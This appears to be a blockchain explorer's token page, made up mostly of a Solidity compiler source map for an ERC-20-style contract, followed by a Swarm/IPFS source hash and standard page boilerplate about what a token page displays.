18150:3629:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18772:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19955:169;;;;;;:::i;:::-;;:::i;:::-;;;1121:14:1;;1114:22;1096:41;;1084:2;1069:18;19955:169:0;956:187:1;19049:100:0;19129:12;;19049:100;;;1294:25:1;;;1282:2;1267:18;19049:100:0;1148:177:1;19467:321:0;;;;;;:::i;:::-;;:::i;18958:83::-;19024:9;;18958:83;;19024:9;;;;1805:36:1;;1793:2;1778:18;18958:83:0;1663:184:1;21396:380:0;;;;;;:::i;:::-;;:::i;:::-;;18508:23;;;;;;;;;;;;3402:42:1;3390:55;;;3372:74;;3360:2;3345:18;18508:23:0;3226:226:1;19157:119:0;;;;;;:::i;:::-;19250:18;;19223:7;19250:18;;;;;;;;;;;;19157:119;18863:87;;;:::i;19284:175::-;;;;;;:::i;:::-;;:::i;19796:151::-;;;;;;:::i;:::-;19912:18;;;;19885:7;19912:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19796:151;18772:83;18809:13;18842:5;18835:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18772:83;:::o;19955:169::-;20038:4;20055:39;17226:10;20078:7;20087:6;20055:8;:39::i;:::-;-1:-1:-1;20112:4:0;19955:169;;;;;:::o;19467:321::-;19573:4;19590:36;19600:6;19608:9;19619:6;19590:9;:36::i;:::-;19637:121;19646:6;17226:10;19668:89;19706:6;19668:89;;;;;;;;;;;;;;;;;:19;;;;;;;:11;:19;;;;;;;;17226:10;19668:33;;;;;;;;;;:37;:89::i;:::-;19637:8;:121::i;:::-;-1:-1:-1;19776:4:0;19467:321;;;;;:::o;21396:380::-;21345:7;;;;21331:10;:21;21323:45;;;;;;;4557:2:1;21323:45:0;;;4539:21:1;4596:2;4576:18;;;4569:30;4635:13;4615:18;;;4608:41;4666:18;;21323:45:0;;;;;;;;;21475:9:::1;21470:299;21494:8;:15;21490:1;:19;21470:299;;;21531:15;21549:8;21558:1;21549:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;21592:18:::1;::::0;::::1;21575:14;21592:18:::0;;;;;;;;;;;21646:39;;;;::::1;::::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;:18;;;;;21549:11;;-1:-1:-1;21592:18:0;21646:39:::1;::::0;21592:18;;;;21646:22:::1;:39::i;:::-;21625:18;::::0;::::1;:9;:18:::0;;;::::1;::::0;;;;;;:60;;;;21724:21;;;;:33:::1;::::0;21750:6;21724:25:::1;:33::i;:::-;21700:9;:21:::0;;;::::1;::::0;;:57;-1:-1:-1;;21511:3:0::1;;21470:299;;;;21396:380:::0;:::o;18863:87::-;18902:13;18935:7;18928:14;;;;;:::i;19284:175::-;19370:4;19387:42;17226:10;19411:9;19422:6;19387:9;:42::i;20454:344::-;20556:19;;;20548:68;;;;;;;5086:2:1;20548:68:0;;;5068:21:1;5125:2;5105:18;;;5098:30;5164:34;5144:18;;;5137:62;5235:6;5215:18;;;5208:34;5259:19;;20548:68:0;4884:400:1;20548:68:0;20635:21;;;20627:68;;;;;;;5491:2:1;20627:68:0;;;5473:21:1;5530:2;5510:18;;;5503:30;5569:34;5549:18;;;5542:62;5640:4;5620:18;;;5613:32;5662:19;;20627:68:0;5289:398:1;20627:68:0;20706:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20758:32;;1294:25:1;;;20758:32:0;;1267:18:1;20758:32:0;;;;;;;;20454:344;;;:::o;20806:477::-;20912:20;;;20904:70;;;;;;;5894:2:1;20904:70:0;;;5876:21:1;5933:2;5913:18;;;5906:30;5972:34;5952:18;;;5945:62;6043:7;6023:18;;;6016:35;6068:19;;20904:70:0;5692:401:1;20904:70:0;20993:23;;;20985:71;;;;;;;6300:2:1;20985:71:0;;;6282:21:1;6339:2;6319:18;;;6312:30;6378:34;6358:18;;;6351:62;6449:5;6429:18;;;6422:33;6472:19;;20985:71:0;6098:399:1;20985:71:0;21087;21109:6;21087:71;;;;;;;;;;;;;;;;;:17;;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;21067:17;;;;:9;:17;;;;;;;;;;;:91;;;;21192:20;;;;;;;:32;;21217:6;21192:24;:32::i;:::-;21169:20;;;;:9;:20;;;;;;;;;;;;:55;;;;21240:35;1294:25:1;;;21169:20:0;;21240:35;;;;;;1267:18:1;21240:35:0;1148:177:1;14581:240:0;14701:7;14762:12;14754:6;;;;14746:29;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;14797:5:0;;;14581:240::o;12302:98::-;12360:7;12387:5;12391:1;12387;:5;:::i;:::-;12380:12;12302:98;-1:-1:-1;;;12302:98:0:o;14:477:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;482:2;412:66;407:2;399:6;395:15;391:88;380:9;376:104;372:113;364:121;;;14:477;;;;:::o;496:196::-;564:20;;624:42;613:54;;603:65;;593:93;;682:1;679;672:12;593:93;496:196;;;:::o;697:254::-;765:6;773;826:2;814:9;805:7;801:23;797:32;794:52;;;842:1;839;832:12;794:52;865:29;884:9;865:29;:::i;:::-;855:39;941:2;926:18;;;;913:32;;-1:-1:-1;;;697:254:1:o;1330:328::-;1407:6;1415;1423;1476:2;1464:9;1455:7;1451:23;1447:32;1444:52;;;1492:1;1489;1482:12;1444:52;1515:29;1534:9;1515:29;:::i;:::-;1505:39;;1563:38;1597:2;1586:9;1582:18;1563:38;:::i;:::-;1553:48;;1648:2;1637:9;1633:18;1620:32;1610:42;;1330:328;;;;;:::o;1852:184::-;1904:77;1901:1;1894:88;2001:4;1998:1;1991:15;2025:4;2022:1;2015:15;2041:1180;2125:6;2156:2;2199;2187:9;2178:7;2174:23;2170:32;2167:52;;;2215:1;2212;2205:12;2167:52;2255:9;2242:23;2284:18;2325:2;2317:6;2314:14;2311:34;;;2341:1;2338;2331:12;2311:34;2379:6;2368:9;2364:22;2354:32;;2424:7;2417:4;2413:2;2409:13;2405:27;2395:55;;2446:1;2443;2436:12;2395:55;2482:2;2469:16;2504:2;2500;2497:10;2494:36;;;2510:18;;:::i;:::-;2556:2;2553:1;2549:10;2588:2;2582:9;2647:66;2642:2;2638;2634:11;2630:84;2622:6;2618:97;2765:6;2753:10;2750:22;2745:2;2733:10;2730:18;2727:46;2724:72;;;2776:18;;:::i;:::-;2812:2;2805:22;2862:18;;;2896:15;;;;-1:-1:-1;2938:11:1;;;2934:20;;;2966:19;;;2963:39;;;2998:1;2995;2988:12;2963:39;3022:11;;;;3042:148;3058:6;3053:3;3050:15;3042:148;;;3124:23;3143:3;3124:23;:::i;:::-;3112:36;;3075:12;;;;3168;;;;3042:148;;;3209:6;2041:1180;-1:-1:-1;;;;;;;;2041:1180:1:o;3457:186::-;3516:6;3569:2;3557:9;3548:7;3544:23;3540:32;3537:52;;;3585:1;3582;3575:12;3537:52;3608:29;3627:9;3608:29;:::i;3648:260::-;3716:6;3724;3777:2;3765:9;3756:7;3752:23;3748:32;3745:52;;;3793:1;3790;3783:12;3745:52;3816:29;3835:9;3816:29;:::i;:::-;3806:39;;3864:38;3898:2;3887:9;3883:18;3864:38;:::i;:::-;3854:48;;3648:260;;;;;:::o;3913:437::-;3992:1;3988:12;;;;4035;;;4056:61;;4110:4;4102:6;4098:17;4088:27;;4056:61;4163:2;4155:6;4152:14;4132:18;4129:38;4126:218;;4200:77;4197:1;4190:88;4301:4;4298:1;4291:15;4329:4;4326:1;4319:15;4126:218;;3913:437;;;:::o;4695:184::-;4747:77;4744:1;4737:88;4844:4;4841:1;4834:15;4868:4;4865:1;4858:15;6502:279;6567:9;;;6588:10;;;6585:190;;;6631:77;6628:1;6621:88;6732:4;6729:1;6722:15;6760:4;6757:1;6750:15
Swarm Source
ipfs://d75c94e063a9f8c9fb2dabfccab4728de051e7c8f701cfeb87cad1b8d00bf8a6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.